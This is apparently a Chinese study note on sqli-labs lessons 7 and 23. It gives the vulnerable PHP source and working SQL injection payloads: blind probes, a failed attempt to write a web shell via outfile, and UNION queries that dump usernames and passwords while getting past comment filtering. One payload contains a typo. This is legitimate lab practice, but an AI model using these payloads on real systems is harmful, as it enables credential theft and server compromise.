sql杂项技巧
select @@datadir:
爆出mysql的路径
select @@version_compile_os
服务器版本
select database()
数据库名称
select user()
当前用户名
select version()
服务器版本
lesson 7代码
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font color= "#FFFF00">';
echo 'You are in.... Use outfile......';
echo "<br>";
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
echo 'You have an error in your SQL syntax';
//print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
用的是双层括号加单引号将id封闭起来。且正确显示you’re in,错误显示error,没有显示出查询到的东西。相当于盲注了。
id=1')) order by 1,2,3--+判断列数
id=1')) and (select count(*) from mysql.user)>2--+查询mysql数据库中的user表也即用户数目是否大于2
打算上传一句话上去,本地的绝对目录是知道的,用的是phpstudy环境,就上传在WWW目录下。但是迟迟不能成功,用别的能爆出错误信息的关卡试了一下.
The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
解决办法参考
原因是安装MySQL的时候限制了导入与导出的目录权限。只允许在规定的目录下才能导入。
用show variables like "secure_file_priv"查询权限。
发现是null,说明禁止,value值中有文件目录,则表示只允许该目录下文件,如果为空,则表示不限制目录。
修改mysql的配置文件,my.ini
新增一行
secure_file_priv = 绝对路径
之后重启Mysql服务,再查询:
继续上传
报错:
You don’t have permission to access ……on this server
对服务器的这个目录没有访问权限,到apache目录的配置文件的httpd.conf中配置根目录的访问权限。
修改为:
还是不行,按照各种教程修改了各种配置文件,成功不了。。。。。。放弃上传这个想法。。。
且phpstudy已经改的乱七八糟了。。。进任何关卡都变成了403……,重装吧。。。
lesson23源码:
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
对#还有- -这种注释读好做了过滤。
id=1 正常
id=1' 错误
id=1'' 正确
id=1'; 错误
id=1'%27 正确
id=1'0x27 错误
原语句:
"SELECT * FROM users WHERE id='$id' LIMIT 0,1";
id=1' union select 1,2,3'
可以使用单引号进行注释,相当于:
"SELECT * FROM users WHERE id='1' union select 1,2,3'' LIMIT 0,1"
利用单引号把后面封闭了。
当过滤掉了注释符,那么就可以用这种办法关闭前面的单引号,关闭后面的单引号。
id=1' and 1=2 union select 1,2,3'
数据库名
id=1' and 1=2 union select 1,2,database()'
表名
id=1' and 1=2 union selecr 1,(select group_concat(table_name)),3 from information_schema.tables where table_schema='security' '
列名
id=1' and 1=2 union select 1, (select group_concat(column_name)),3 from information_schema.columns where table_name='users' '
数据
id=1' and 1=2 union select 1,(select group_concat(username,":",password)from users),3'
最后查询数据时,将username和password 分开,还可以用函数concat_ws(“分隔符”,数据,数据)
id=1' and 1=2 union select 1,(select group_concat(concat_ws("|",username,password))from users),3'